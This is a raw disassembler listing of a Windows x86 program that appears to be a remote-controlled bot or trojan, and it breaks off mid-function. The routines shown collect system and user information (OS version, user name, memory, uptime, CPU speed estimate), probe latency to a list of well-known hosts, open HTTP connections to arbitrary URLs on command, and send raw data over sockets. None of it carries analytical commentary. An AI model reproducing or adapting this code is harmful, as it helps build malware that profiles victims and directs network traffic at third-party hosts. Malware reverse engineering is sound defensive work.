		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41D21B
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41D235
		push	8
		mov	esi, eax
		call	sub_41D21B
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41D235
		add	esp, 10h
		test	esi, esi
		jz	short loc_41D51C
		test	eax, eax
		jz	short loc_41D518
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41D51E
; ---------------------------------------------------------------------------


loc_41D518:				; CODE XREF: sub_41D41B+F4j
		mov	ebx, esi
		jmp	short loc_41D51E
; ---------------------------------------------------------------------------


loc_41D51C:				; CODE XREF: sub_41D41B+F0j
		mov	ebx, eax


loc_41D51E:				; CODE XREF: sub_41D41B+FBj
					; sub_41D41B+FFj
		push	0Ch
		call	sub_41D21B
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41D235
		push	0Ch
		mov	edi, eax
		call	sub_41D21B
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41D235
		add	esp, 10h
		test	edi, edi
		jz	short loc_41D556
		test	eax, eax
		jz	short loc_41D552
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41D558
; ---------------------------------------------------------------------------


loc_41D552:				; CODE XREF: sub_41D41B+12Ej
		mov	esi, edi
		jmp	short loc_41D558
; ---------------------------------------------------------------------------


loc_41D556:				; CODE XREF: sub_41D41B+12Aj
		mov	esi, eax


loc_41D558:				; CODE XREF: sub_41D41B+135j
					; sub_41D41B+139j
		push	6
		call	sub_41D21B
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41D235
		push	6
		mov	edi, eax
		call	sub_41D21B
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41D235
		add	esp, 10h
		test	edi, edi
		jz	short loc_41D590
		test	eax, eax
		jz	short loc_41D58C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41D592
; ---------------------------------------------------------------------------


loc_41D58C:				; CODE XREF: sub_41D41B+168j
		mov	ecx, edi
		jmp	short loc_41D592
; ---------------------------------------------------------------------------


loc_41D590:				; CODE XREF: sub_41D41B+164j
		mov	ecx, eax


loc_41D592:				; CODE XREF: sub_41D41B+16Fj
					; sub_41D41B+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41D59F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41D5A2
; ---------------------------------------------------------------------------


loc_41D59F:				; CODE XREF: sub_41D41B+17Bj
		push	2
		pop	edi


loc_41D5A2:				; CODE XREF: sub_41D41B+182j
		test	esi, esi
		jz	short loc_41D5AA
		add	eax, esi
		jmp	short loc_41D5AB
; ---------------------------------------------------------------------------


loc_41D5AA:				; CODE XREF: sub_41D41B+189j
		dec	edi


loc_41D5AB:				; CODE XREF: sub_41D41B+18Dj
		test	ecx, ecx
		jz	short loc_41D5B3
		add	eax, ecx
		jmp	short loc_41D5B4
; ---------------------------------------------------------------------------


loc_41D5B3:				; CODE XREF: sub_41D41B+192j
		dec	edi


loc_41D5B4:				; CODE XREF: sub_41D41B+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+Dest]
		push	offset asc_4390C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5F8	proc near		; CODE XREF: sub_40274D+23AAp
					; sub_40274D+27E2p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_42B038	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		mov	esi, offset byte_4E27B8
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_41D5F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_41D64B	proc near		; CODE XREF: sub_419FFD+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 94h
		push	esi
		lea	eax, [ebp+78h+var_94]
		push	eax
		xor	esi, esi
		mov	[ebp+78h+var_94], 94h
		call	ds:dword_42B064	; GetVersionExA
		test	eax, eax
		jz	short loc_41D6BB
		cmp	[ebp+78h+var_90], 4
		jnz	short loc_41D69D
		cmp	[ebp+78h+var_8C], esi
		jnz	short loc_41D68B
		cmp	[ebp+78h+var_84], 1
		jnz	short loc_41D680
		inc	esi


loc_41D680:				; CODE XREF: sub_41D64B+32j
		cmp	[ebp+78h+var_84], 2
		jnz	short loc_41D6BB
		xor	esi, esi
		inc	esi
		jmp	short loc_41D6BB
; ---------------------------------------------------------------------------


loc_41D68B:				; CODE XREF: sub_41D64B+2Cj
		cmp	[ebp+78h+var_8C], 0Ah
		jnz	short loc_41D695


loc_41D691:				; CODE XREF: sub_41D64B+5Bj
		push	2
		jmp	short loc_41D6BA
; ---------------------------------------------------------------------------


loc_41D695:				; CODE XREF: sub_41D64B+44j
		cmp	[ebp+78h+var_8C], 5Ah
		jnz	short loc_41D6BB
		jmp	short loc_41D6AE
; ---------------------------------------------------------------------------


loc_41D69D:				; CODE XREF: sub_41D64B+27j
		cmp	[ebp+78h+var_90], 5
		jnz	short loc_41D6BB
		cmp	[ebp+78h+var_8C], esi
		jz	short loc_41D691
		cmp	[ebp+78h+var_8C], 1
		jnz	short loc_41D6B2


loc_41D6AE:				; CODE XREF: sub_41D64B+50j
		push	3
		jmp	short loc_41D6BA
; ---------------------------------------------------------------------------


loc_41D6B2:				; CODE XREF: sub_41D64B+61j
		cmp	[ebp+78h+var_8C], 2
		jnz	short loc_41D6BB
		push	7


loc_41D6BA:				; CODE XREF: sub_41D64B+48j
					; sub_41D64B+65j
		pop	esi


loc_41D6BB:				; CODE XREF: sub_41D64B+21j
					; sub_41D64B+39j ...
		mov	eax, esi
		pop	esi
		add	ebp, 78h
		leave
		retn
sub_41D64B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6C3	proc near		; CODE XREF: sub_41D779+245p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_41D6CB:				; CODE XREF: sub_41D6C3+2Fj
					; sub_41D6C3+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	ds:dword_42B014	; Sleep
		rdtsc
		push	0
		sub	eax, esi
		push	edi
		sbb	edx, ebx
		push	edx
		push	eax
		call	__aulldiv
		mov	esi, edx
		test	esi, esi
		mov	ebx, eax
		ja	short loc_41D6CB
		jb	short loc_41D6FA
		cmp	ebx, edi
		ja	short loc_41D6CB


loc_41D6FA:				; CODE XREF: sub_41D6C3+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		test	ecx, ecx
		mov	edi, eax
		pop	eax
		ja	short loc_41D76D
		jb	short loc_41D719
		cmp	edi, 50h
		jnb	short loc_41D71E


loc_41D719:				; CODE XREF: sub_41D6C3+4Fj
		push	4Bh
		pop	eax
		xor	edx, edx


loc_41D71E:				; CODE XREF: sub_41D6C3+54j
		test	ecx, ecx
		ja	short loc_41D76D
		jb	short loc_41D729
		cmp	edi, 47h
		jnb	short loc_41D72E


loc_41D729:				; CODE XREF: sub_41D6C3+5Fj
		push	42h
		pop	eax
		xor	edx, edx


loc_41D72E:				; CODE XREF: sub_41D6C3+64j
		test	ecx, ecx
		ja	short loc_41D76D
		jb	short loc_41D739
		cmp	edi, 37h
		jnb	short loc_41D73E


loc_41D739:				; CODE XREF: sub_41D6C3+6Fj
		push	32h
		pop	eax
		xor	edx, edx


loc_41D73E:				; CODE XREF: sub_41D6C3+74j
		test	ecx, ecx
		ja	short loc_41D76D
		jb	short loc_41D749
		cmp	edi, 26h
		jnb	short loc_41D74E


loc_41D749:				; CODE XREF: sub_41D6C3+7Fj
		push	21h
		pop	eax
		xor	edx, edx


loc_41D74E:				; CODE XREF: sub_41D6C3+84j
		test	ecx, ecx
		ja	short loc_41D76D
		jb	short loc_41D759
		cmp	edi, 1Eh
		jnb	short loc_41D75E


loc_41D759:				; CODE XREF: sub_41D6C3+8Fj
		push	19h
		pop	eax
		xor	edx, edx


loc_41D75E:				; CODE XREF: sub_41D6C3+94j
		test	ecx, ecx
		ja	short loc_41D76D
		jb	short loc_41D769
		cmp	edi, 0Ah
		jnb	short loc_41D76D


loc_41D769:				; CODE XREF: sub_41D6C3+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41D76D:				; CODE XREF: sub_41D6C3+4Dj
					; sub_41D6C3+5Dj ...
		sub	eax, edi
		sbb	edx, ecx
		add	eax, ebx
		pop	edi
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_41D6C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_41D779	proc near		; CODE XREF: sub_40274D+2565p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 7E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+70h+var_CC]
		push	eax
		mov	[ebp+70h+var_4], offset	byte_42B633
		mov	[ebp+70h+var_CC], 94h
		call	ds:dword_42B064	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+70h+var_C8], 4
		jnz	short loc_41D7EA
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_41D7CC
		cmp	[ebp+70h+var_BC], 1
		jnz	short loc_41D7B9
		mov	[ebp+70h+var_4], offset	a95 ; "95"


loc_41D7B9:				; CODE XREF: sub_41D779+37j
		cmp	[ebp+70h+var_BC], 2
		jnz	loc_41D850
		mov	[ebp+70h+var_4], offset	aNt_0 ;	"NT"
		jmp	short loc_41D827
; ---------------------------------------------------------------------------


loc_41D7CC:				; CODE XREF: sub_41D779+31j
		cmp	[ebp+70h+var_C4], 0Ah
		jnz	short loc_41D7DB
		mov	[ebp+70h+var_4], offset	a98 ; "98"
		jmp	short loc_41D821
; ---------------------------------------------------------------------------


loc_41D7DB:				; CODE XREF: sub_41D779+57j
		cmp	[ebp+70h+var_C4], 5Ah
		jnz	short loc_41D81A
		mov	[ebp+70h+var_4], offset	aMe_0 ;	"ME"
		jmp	short loc_41D821
; ---------------------------------------------------------------------------


loc_41D7EA:				; CODE XREF: sub_41D779+2Cj
		cmp	[ebp+70h+var_C8], 5
		jnz	short loc_41D81A
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_41D7FE
		mov	[ebp+70h+var_4], offset	a2k ; "2K"
		jmp	short loc_41D821
; ---------------------------------------------------------------------------


loc_41D7FE:				; CODE XREF: sub_41D779+7Aj
		cmp	[ebp+70h+var_C4], 1
		jnz	short loc_41D80D
		mov	[ebp+70h+var_4], offset	aXp_0 ;	"XP"
		jmp	short loc_41D821
; ---------------------------------------------------------------------------


loc_41D80D:				; CODE XREF: sub_41D779+89j
		cmp	[ebp+70h+var_C4], 2
		mov	[ebp+70h+var_4], offset	a2003 ;	"2003"
		jz	short loc_41D821


loc_41D81A:				; CODE XREF: sub_41D779+66j
					; sub_41D779+75j
		mov	[ebp+70h+var_4], offset	a??? ; "???"


loc_41D821:				; CODE XREF: sub_41D779+60j
					; sub_41D779+6Fj ...
		cmp	[ebp+70h+var_BC], 2
		jnz	short loc_41D850


loc_41D827:				; CODE XREF: sub_41D779+51j
		cmp	[ebp+70h+var_B8], bl
		jz	short loc_41D850
		lea	eax, [ebp+70h+var_B8]
		push	eax
		push	[ebp+70h+var_4]
		lea	eax, [ebp+70h+Dest]
		push	offset aSS_5	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+70h+Dest]
		add	esp, 10h
		mov	[ebp+70h+var_4], eax


loc_41D850:				; CODE XREF: sub_41D779+44j
					; sub_41D779+ACj ...
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+70h+var_25C], cx
		lea	edi, [ebp+70h+var_25A]
		rep stosd
		stosw
		mov	eax, dword_444198
		cmp	eax, ebx
		mov	[ebp+70h+var_C], 100h
		jz	short loc_41D883
		lea	ecx, [ebp+70h+var_C]
		push	ecx
		lea	ecx, [ebp+70h+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41D883:				; CODE XREF: sub_41D779+FBj
		push	[ebp+70h+arg_4]
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		push	2
		mov	[ebp+70h+var_8], eax
		push	4
		lea	eax, [ebp+70h+var_8]
		push	eax
		call	dword_4441FC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41D8AC
		push	dword ptr [eax]
		jmp	short loc_41D8B1
; ---------------------------------------------------------------------------


loc_41D8AC:				; CODE XREF: sub_41D779+12Dj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41D8B1:				; CODE XREF: sub_41D779+131j
		lea	eax, [ebp+70h+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	104h
		lea	eax, [ebp+70h+FullPath]
		push	eax
		call	ds:dword_42B010	; GetSystemDirectoryA
		push	46h
		lea	eax, [ebp+70h+var_114]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_42B0C4	; GetDateFormatA
		push	46h
		lea	eax, [ebp+70h+var_15C]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_42B0C0	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+70h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+70h+Dst]
		push	eax
		call	ds:dword_42B134	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+70h+Drive]
		push	eax		; Drive
		lea	eax, [ebp+70h+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+70h+Drive]
		push	eax
		lea	eax, [ebp+70h+var_7E8]
		push	eax
		call	sub_419549
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+70h+var_668]
		push	ebx
		rep movsd
		call	sub_41D5F8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+70h+var_15C]
		push	eax
		lea	eax, [ebp+70h+var_114]
		push	eax
		lea	eax, [ebp+70h+var_25C]
		push	eax
		push	[ebp+70h+arg_4]
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		lea	eax, [ebp+70h+FullPath]
		push	eax
		push	[ebp+70h+var_C0]
		lea	eax, [ebp+70h+var_5E8]
		push	[ebp+70h+var_C4]
		push	[ebp+70h+var_C8]
		push	[ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_568]
		push	eax
		mov	eax, [ebp+70h+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_419443
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+70h+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_419443
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41D6C3
		push	edx
		push	eax
		push	offset asc_4392D8 ; "-"
		push	200h		; Count
		push	[ebp+70h+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+70h+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_41D779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_41D9E5	proc near		; CODE XREF: sub_40274D+2593p
					; sub_40274D+6F0Cp

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
Dest		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+6Ch+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	dword_44428C, 0
		jnz	short loc_41DA52
		push	0
		push	esi
		lea	eax, [ebp+6Ch+Dst]
		push	eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	dword_44425C	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41DA33
		lea	eax, [ebp+6Ch+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41DA33:				; CODE XREF: sub_41D9E5+3Cj
		test	[ebp+6Ch+var_C], 1
		lea	eax, [ebp+6Ch+Dest]
		jz	short loc_41DA4B
		push	offset aDialUp	; "Dial-up"


loc_41DA41:				; CODE XREF: sub_41D9E5+6Bj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41DA6E
; ---------------------------------------------------------------------------


loc_41DA4B:				; CODE XREF: sub_41D9E5+55j
		push	offset off_439428
		jmp	short loc_41DA41
; ---------------------------------------------------------------------------


loc_41DA52:				; CODE XREF: sub_41D9E5+27j
		mov	esi, offset off_439424
		lea	eax, [ebp+6Ch+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+6Ch+Dst]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_41DA6E:				; CODE XREF: sub_41D9E5+64j
		push	[ebp+6Ch+arg_4]
		push	[ebp+6Ch+arg_8]
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+6Ch+Dst]
		push	eax
		lea	eax, [ebp+6Ch+Dest]
		push	eax
		push	offset asc_4393E0 ; "-"
		push	200h		; Count
		push	[ebp+6Ch+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 1Ch
		pop	esi
		add	ebp, 6Ch
		leave
		retn
sub_41D9E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41DAA1	proc near		; DATA XREF: sub_40274D+7345o

var_65C		= byte ptr -65Ch
Dest		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
Str		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
Dst		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
Source		= dword	ptr -38h
Count		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 65Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_35C]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		mov	edi, 80h
		inc	esi
		push	edi		; Size
		mov	[eax+190h], esi
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_4], ebx
		mov	[ebp+74h+var_C], offset	dword_439514
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+74h+var_1C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+74h+var_C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	100h		; Size
		lea	eax, [ebp+74h+var_65C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	3Ch
		pop	edi
		push	edi		; Size
		lea	eax, [ebp+74h+var_48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 3Ch
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+Str]
		push	ebx
		push	eax		; Str
		mov	[ebp+74h+var_48], edi
		mov	[ebp+74h+Count], esi
		mov	[ebp+74h+var_28], esi
		mov	[ebp+74h+var_20], esi
		mov	[ebp+74h+var_18], esi
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		call	dword_444070	; InternetCrackUrlA
		test	eax, eax
		jnz	short loc_41DB71
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4394F8 ; "-"
		push	eax		; Dest
		call	_sprintf
		mov	esi, ebx
		jmp	loc_41DC60
; ---------------------------------------------------------------------------


loc_41DB71:				; CODE XREF: sub_41DAA1+B6j
		cmp	[ebp+74h+Count], ebx
		jbe	short loc_41DB8B
		push	[ebp+74h+Count]	; Count
		lea	eax, [ebp+74h+Dst]
		push	[ebp+74h+Source] ; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41DB8B:				; CODE XREF: sub_41DAA1+D3j
		cmp	[ebp+74h+var_28], ebx
		movzx	esi, [ebp+74h+var_30]
		jbe	short loc_41DBA9
		push	[ebp+74h+var_28] ; Count
		lea	eax, [ebp+74h+var_1C8]
		push	[ebp+74h+var_2C] ; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41DBA9:				; CODE XREF: sub_41DAA1+F1j
		cmp	[ebp+74h+var_20], ebx
		jbe	short loc_41DBC0
		push	[ebp+74h+var_20] ; Count
		lea	eax, [ebp+74h+var_C8]
		push	[ebp+74h+var_24] ; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41DBC0:				; CODE XREF: sub_41DAA1+10Bj
		cmp	[ebp+74h+var_18], ebx
		jbe	short loc_41DBDA
		push	[ebp+74h+var_18] ; Count
		lea	eax, [ebp+74h+var_65C]
		push	[ebp+74h+var_1C] ; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41DBDA:				; CODE XREF: sub_41DAA1+122j
		push	ebx
		push	ebx
		push	3
		lea	eax, [ebp+74h+var_C8]
		push	eax
		lea	eax, [ebp+74h+var_1C8]
		push	eax
		push	esi
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	dword_444254
		call	dword_44413C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41DC0A
		push	offset unk_4394CC
		jmp	short loc_41DC54
; ---------------------------------------------------------------------------


loc_41DC0A:				; CODE XREF: sub_41DAA1+160j
		push	ebx
		push	200h
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2D8]
		push	eax
		push	ebx
		lea	eax, [ebp+74h+var_65C]
		push	eax
		push	ebx
		push	esi
		call	dword_44412C	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+74h+var_4], eax
		jnz	short loc_41DC39
		push	offset unk_43949C
		jmp	short loc_41DC54
; ---------------------------------------------------------------------------


loc_41DC39:				; CODE XREF: sub_41DAA1+18Fj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_444258	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41DC4F
		push	offset dword_439480
		jmp	short loc_41DC54
; ---------------------------------------------------------------------------


loc_41DC4F:				; CODE XREF: sub_41DAA1+1A5j
		push	offset asc_439444 ; "-"


loc_41DC54:				; CODE XREF: sub_41DAA1+167j
					; sub_41DAA1+196j ...
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf


loc_41DC60:				; CODE XREF: sub_41DAA1+CBj
		cmp	[ebp+74h+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41DC8D
		push	ebx		; int
		push	[ebp+74h+var_1D0] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_258]
		push	eax		; Str
		push	[ebp+74h+var_35C] ; int
		call	sub_40123B
		add	esp, 14h


loc_41DC8D:				; CODE XREF: sub_41DAA1+1C7j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		push	esi
		call	dword_444164	; InternetCloseHandle
		push	[ebp+74h+var_4]
		call	dword_444164	; InternetCloseHandle
		push	[ebp+74h+var_1D8]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41DAA1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41DCBE(int,char *Str,int)

sub_41DCBE	proc near		; CODE XREF: .text:0041DEEAp
					; .text:0041DF08p ...

var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_C		= word ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_439520
		lea	edi, [ebp+var_14]
		movsd
		movsb
		mov	esi, offset dword_439518
		lea	edi, [ebp+var_1C]
		movsd
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], 4
		mov	[ebp+var_C], 1
		mov	[ebp+var_8], bx
		movsw
		jnz	short loc_41DD74
		mov	edi, [ebp+Str]
		mov	esi, [ebp+arg_0]
		mov	[ebp+arg_8], ebx


loc_41DCFE:				; CODE XREF: sub_41DCBE+B2j
		mov	eax, [ebp+arg_8]
		sub	eax, ebx
		jz	short loc_41DD1B
		dec	eax
		jnz	short loc_41DD69
		push	ebx
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_4441A0	; send
		lea	eax, [ebp+var_8]
		jmp	short loc_41DD2C
; ---------------------------------------------------------------------------


loc_41DD1B:				; CODE XREF: sub_41DCBE+45j
		push	ebx
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_4441A0	; send
		lea	eax, [ebp+var_C]


loc_41DD2C:				; CODE XREF: sub_41DCBE+5Bj
		push	ebx
		push	1
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	edi		; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		push	ebx
		jnz	short loc_41DD4B
		push	4
		lea	eax, [ebp+var_14]
		jmp	short loc_41DD50
; ---------------------------------------------------------------------------


loc_41DD4B:				; CODE XREF: sub_41DCBE+84j
		push	5
		lea	eax, [ebp+var_1C]


loc_41DD50:				; CODE XREF: sub_41DCBE+8Bj
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	ebx
		push	edi		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	esi
		call	dword_4441A0	; send


loc_41DD69:				; CODE XREF: sub_41DCBE+48j
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41DCFE
		jmp	short loc_41DDE7
; ---------------------------------------------------------------------------


loc_41DD74:				; CODE XREF: sub_41DCBE+35j
		dec	eax
		jz	short loc_41DD90
		dec	eax
		jnz	short loc_41DDE7
		mov	esi, [ebp+arg_0]
		push	ebx
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_4441A0	; send
		lea	eax, [ebp+var_8]
		jmp	short loc_41DDA4
; ---------------------------------------------------------------------------


